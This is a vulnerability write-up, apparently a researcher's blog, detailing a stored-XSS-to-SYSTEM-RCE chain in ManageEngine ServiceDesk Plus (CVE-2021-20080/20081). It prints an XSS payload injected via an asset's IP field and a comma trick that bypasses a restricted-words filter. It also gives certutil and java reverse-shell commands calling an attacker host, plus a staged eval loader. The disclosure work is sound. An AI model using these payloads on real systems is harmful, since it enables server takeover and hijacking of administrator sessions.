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Stored XSS to RCE Chain as SYSTEM in ManageEngine ServiceDesk Plus

The unauthorized access of FireEye red team tools was an eye-opening event for the security community. In my personal opinion, it was especially enlightening to see the “prioritized list of CVEs that should be addressed to limit the effectiveness of the Red Team tools.” This list can be found on FireEye’s GitHub. The list reads to me as though these vulnerabilities are probably being exploited during FireEye red team engagements. More than likely, the listed products are commonly found in target environments. As a 0-day bug hunter, this screams out, “hunt me!” So we did.

Last, but not least, on the list is “CVE-2019–8394 — arbitrary pre-auth file upload to ZoHo ManageEngine ServiceDesk Plus.” A Shodan search for “ManageEngine ServiceDesk Plus” in the page title reveals over 5,000 public-facing instances. We chose to target this product, and we found some high impact vulnerabilities. On one hand, we’ve found a way to fully compromise the server, and on the other, we can exploit the agent software. This is a pentester’s pivoting playground.

Our story will be split into two blogs. Pivot over to David Wells’ related blog to check out a mind-bending heap overflow in the AssetExplorer Agent. For bugs on the server-side stay tuned.


ManageEngine ServiceDesk Plus, prior to version 11200, is susceptible to a vulnerability chain leading to unauthenticated remote code execution. An unauthenticated, remote attacker is able to upload a malicious asset to the help desk. Once an unknowing help desk administrator views this new asset, the attacker can take control of the help desk application and fully compromise the underlying operating system.

The two flaws in the exploit chain include an unauthenticated stored cross-site scripting vulnerability (CVE-2021–20080) and a case of weak input validation (CVE-2021–20081) leading to arbitrary code execution. Initial access is first gained via cross-site scripting, and once triggered, the attacker can schedule the execution of malicious code with SYSTEM privileges. Below I have detailed these vulnerabilities.

Gaining a Foothold via XML Asset Ingestion

A key component of an IT service desk is the ability to manage assets. For example, company laptops, desktops, etc would likely be provisioned by IT and managed in a service desk software.

In ManageEngine ServiceDesk Plus (SDP), there is an API endpoint that allows an unauthenticated HTTP client to upload XML files containing asset definitions. The asset definition file allows all sorts of details to be defined, such as make, model, operating system, memory, network configuration, software installed, etc.

When a valid asset is POSTed to /discoveryServlet/WsDiscoveryServlet, an XML file is created on the server’s file system containing the asset. This file will be stored at C:\Program Files\ManageEngine\ServiceDesk\scannedxmls.

After a minute or so, it will be automatically picked up by SDP for processing. The asset will then be stored in the database, and it will be viewable as an asset in the administrative web user interface.

Below is an example of a Mac asset being uploaded. For the sake of brevity, I’ve left out most of the XML file. The key component is bolded on the line starting with “inet” in the “/sbin/ifconfig” output. The full proof of concept (PoC) can be found on our TRA-2021–11 research advisory.

Notice that the IP address contains JavaScript code to fire an alert. This is where the vulnerability rears its ugly head. The injected JavaScript will not be sanitized prior to being loaded in a web browser. Hence, the attacker can execute arbitrary JavaScript and abuse this flaw to perform administrative actions in the help desk application.

<?xml version="1.0" encoding="UTF-8" ?><DocRoot>
… snip ...
mtu 1500
 ether 8c:85:90:d4:a6:e9 
 inet6 fe80::103b:588a:7772:e9db%en0 prefixlen 64 secured scopeid 0x5 
 inet ');}{alert("xss");// netmask 0xffffff00 broadcast
 nd6 options=201<PERFORMNUD,DAD>
 media: autoselect
 status: active
… snip ...

Let’s assume this XML is processed by SDP. When the administrator views this specific asset in SDP, a JavaScript alert would fire.

It’s pretty clear here that a stored cross-site scripting vulnerability exists, and we’ve assigned it as CVE-2021–20080. The root cause of this vulnerability is that the IP address is used to construct a JavaScript function without sanitization. This allows us to inject malicious JavaScript. In this case, the function would be constructed as such:

function clickToExpandIP(){
 jQuery('#ips').text('[ ');}{alert("xss");// ]');

Notice how I closed the text() function call and the clickToExpandIP() function definition.

.text('[ ');}

After this, since there is a hanging closing curly brace on the next line, I start a new block, call alert, and comment out the rest of the line.


Alert! We won’t stop here. Let’s ride the victim administrator’s session.

Reusing the HttpOnly Cookies

When a user logs in, the following session cookies are set in the response:

Set-Cookie: SDPSESSIONID=DC6B4FDF88491030FD4CE332509EE267; Path=/; HttpOnly
Set-Cookie: JSESSIONIDSSO=167646B5D793A91BC5EA12C1CAB9BEAB; Path=/; HttpOnly

The cookies have the HttpOnly flag set, which prevents JavaScript from accessing these cookie values directly. However, that doesn’t mean we can’t reuse the cookies in an XMLHttpRequest. The cookies will be included in the request, just as if it were a form submission.

The problem here is that a CSRF token is also in play. For example, if a user were to be deleted, the following request would fire.

DELETE /api/v3/users?ids=9 HTTP/1.1
Content-Length: 160
Cache-Control: max-age=0
Accept: application/json, text/javascript, */*; q=0.01
X-ZCSRF-TOKEN: sdpcsrfparam=07b3f63e7109455ca9e1fad3871e92feb7aa22c086d43e0dfb3f09c0e9d77163481dc8e914422808f794c020c6e9e93fc0f9de633dab681eefe356bb9d18a638
X-Requested-With: XMLHttpRequest
If-Modified-Since: Thu, 1 Jan 1970 00:00:00 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SDPSESSIONID=DC6B4FDF88491030FD4CE332509EE267; JSESSIONIDSSO=167646B5D793A91BC5EA12C1CAB9BEAB; PORTALID=1; sdpcsrfcookie=07b3f63e7109455ca9e1fad3871e92feb7aa22c086d43e0dfb3f09c0e9d77163481dc8e914422808f794c020c6e9e93fc0f9de633dab681eefe356bb9d18a638; _zcsr_tmp=07b3f63e7109455ca9e1fad3871e92feb7aa22c086d43e0dfb3f09c0e9d77163481dc8e914422808f794c020c6e9e93fc0f9de633dab681eefe356bb9d18a638; memarketing-_zldp=Mltw9Iqq5RScV1w4XmHqtfyjDzbcGg%2Fgj2ZFSsChk9I%2BFeA4HQEbmBi6kWOCHoEBmdhXfrM16rA%3D; memarketing-_zldt=35fbbf7a-4275-4df4-918f-78167bc204c4-0
Connection: close


Notice the use of the ‘X-ZCSRF-TOKEN’ header and the ‘sdpcsrfparam’ request parameter. The token value is also passed in the ‘sdpcsrfcookie’ and ‘_zcsr_tmp’ cookies. This means subsequent requests won’t succeed unless we set the proper CSRF headers and cookies.

However, when the CSRF cookies are set, they do not set the HttpOnly flag. Because of this, our malicious JavaScript can harvest the value of the CSRF token in order to provide the required headers and request data.

Putting it all together, we are able to send an XMLHttpRequest:

  • with the proper session cookie values

  • and with the required CSRF token values.

No Spaces Allowed

Another fun roadblock was the fact that spaces couldn’t be included in the IP address. If we were to specify the line with “AN IP” as the IP address:

inet AN IP netmask 0xffffff00 broadcast

The JavaScript function would be generated as such:

function clickToExpandIP(){
 jQuery('#ips').text('[ AN ]');

Notice that ‘IP’ was truncated. This is due to the way that ServiceDesk Plus parses the IP address field. It expects an IP address followed by a space, so the “IP” text would be truncated in this case.

However, this can be bypassed using multiline comments to replace spaces.


Putting these pieces together, this means when we exploit the XSS, and the administrator views our malicious asset, we can fire valid (and complex) application requests with administrative privileges. In particular, I ended up abusing the custom scheduled task feature.

Code Execution via a Malicious Custom Schedule

Being an IT service desk software, ManageEngine ServiceDesk Plus has loads of functionality. Similar to other IT software out there, it allows you to create custom scheduled tasks. Also similar to other IT software, it lets you run system commands. With powerful functionality, there is a fine line separating a vulnerability and a feature that simply works as designed. In this case, there is a clear vulnerability (CVE-2021–20081).

Custom Schedule Screen

Above I have pasted a screen shot of the form that allows an administrator to create a custom schedule. Notice the executor example in the Action section. This allows the administrator to run a command on a scheduled basis.

Dangerous, yes. A vuln? Not yet. It’s by design.

What happens if the administrator wants to write some text to the file system using this feature?

Administrator attempts to write to C:\test.txt

Interestingly, “echo” is a restricted word. Clearly a filter is in place to deny this word, probably for cases like this. After some code review, I found an XML file defining a list of restricted words.

C:\Program Files\ManageEngine\ServiceDesk\conf\Asset\servicedesk.xml:

<GlobalConfig globalconfigid="GlobalConfig:globalconfigid:2600" category="Execute_Script" parameter="Restricted_Words" paramvalue="outfile,Out-File,write,echo,OpenTextFile,move,Move-Item,move,mv,MoveFile,del,Remove-Item,remove,rm,unlink,rmdir,DeleteFile,ren,Rename-Item,rename,mv,cp,rm,MoveFile" description="Script Restricted Words"/>

Notice the word “echo” and a bunch of other words that all seem to relate to file system operations. Clearly the developer did not want to allow a custom scheduled task to explicitly modify files.

If we look at, we can see how the filter is applied.

public String[] getScriptRestrictedWords() throws Exception {
        String restrictedWords = GlobalConfigUtil.getInstance().getGlobalConfigValue("Restricted_Words", "Execute_Script");
        return restrictedWords.split(",");
    }public Set containsScriptRestrictedWords(String input) throws Exception {
        HashSet<String> input_words = new HashSet<String>();
        input_words.addAll(Arrays.asList(input.split(" ")));
        return input_words;

Most notably, the command line input string is split into words using a space character as a delimiter.

input_words.addAll(Arrays.asList(input.split(" ")));

This method of blocking commands containing restricted words is simply inadequate, and this is where the vulnerability comes into play. Let me show you how this filter can be bypassed.

One bypass for this involves the use of commas (or semicolons) to delimit the arguments of a command. For example, all of these commands are equivalent.

c:\>echo "Hello World"
"Hello World"

c:\>echo,"Hello World"
"Hello World"

c:\>echo;"Hello World"
"Hello World"

With this in mind, an administrator could craft a command with commas to write to disk. For example:

cmd /c "echo,testing > C:\\test.txt"

Even better, the command will execute with NT AUTHORITY\SYSTEM privileges. Sysinternals Process Monitor will prove that:

Pop a Shell

I opted for a Java-based reverse shell since I knew a Java executable would be shipped with ServiceDesk Plus. It is written in Java, after all. The command line contains the following logic.

I first used ‘echo’ to write out a Base64-encoded Java class.

echo,<Base64 encoded Java reverse shell class>> b64file

After that I used ‘certutil’ to decode the data into a functioning Java class. Thanks to Casey Dunham for the awesome Java reverse shell.

certutil -f -decode b64file ReverseTcpShell.class

And finally, I used the provided Java executable to launch a reverse shell that connects back to the attacker’s listener at IP:port.

C:\\PROGRA~1\\ManageEngine\\ServiceDesk\\jre\\bin\\java.exe ReverseTcpShell <attacker ip> <attacker port>

Chaining these Together

From a high level, an exploit chain looks like the following:

  1. Send an XML asset file to SDP containing our malicious JavaScript code.

  2. After a short period of time, SDP will process the XML file and add the asset.

  3. When the administrator views the asset, the JavaScript fires. This can be encouraged by sending a link to the administrator.

  4. The JavaScript will create a malicious custom scheduled task to execute in 1 minute.

  5. After one minute, the scheduled task executes, and a reverse shell connects back to the attacker’s machine.

This is the basic overview of a full exploit chain. However, there was a wrench thrown in that I’d like to mention. Namely, there was a maximum length enforced. Due to the length of a reverse shell payload, this restriction required me to use a staged approach.

Let me show you.

Staging the Custom Schedule

In order to solve this problem, I set up an HTTP listener that, when contacted by my XSS payload, would send more JavaScript code back to the browser. The XSS would then call eval() on this code, thereby loading another stage of JavaScript code.

So basically, the initial XSS payload contains enough code to reach out to the attacker’s HTTP server, and downloads another stage of JavaScript to be executed using eval(). Something like this:

function loaded() {

var req = new XMLHttpRequest();
req.addEventListener("load", loaded);"GET","");

Once the JavaScript downloads, the loaded() function fires. The one catch is that since we’re in the browser, a CORS header needs to be set by the attacker’s listener:

Access-Control-Allow-Origin: *

This will tell the browser it’s okay to load the attacker server’s content in the ServiceDesk Plus application, since they’re cross-origin. Using this strategy, a massive chunk of JavaScript can be loaded. With all of this in mind, a full exploit can be constructed like so:

  1. Send an XML asset file to SDP containing our malicious JavaScript code.

  2. After a short period of time, SDP will process the XML file and add the asset.

  3. When the administrator views the asset, the JavaScript fires. This can be encouraged by sending a link to the administrator.

  4. The XSS will download more JavaScript from the attacker’s HTTP server.

  5. The downloaded JavaScript will create a malicious custom scheduled task to execute in 1 minute.

  6. After one minute, the scheduled task executes, and a reverse shell connects back to the attacker’s machine.

Let’s see all of this in action:

Wrapping Up

We’ve now seen how an unauthenticated attacker can exploit a cross-site scripting vulnerability to gain remote code execution in ManageEngine ServiceDesk Plus. As I said earlier, David Wells has managed to exploit a heap overflow in the AssetExplorer agent software. If you’re an SDP or AssetExplorer server administrator, this is the agent software that you would distribute to assets on the network. This vulnerability would allow an attacker to pivot from SDP to agents. As you might imagine this is a dangerous attack scenario.

Source: Medium - Chris Lyne

The Tech Platform


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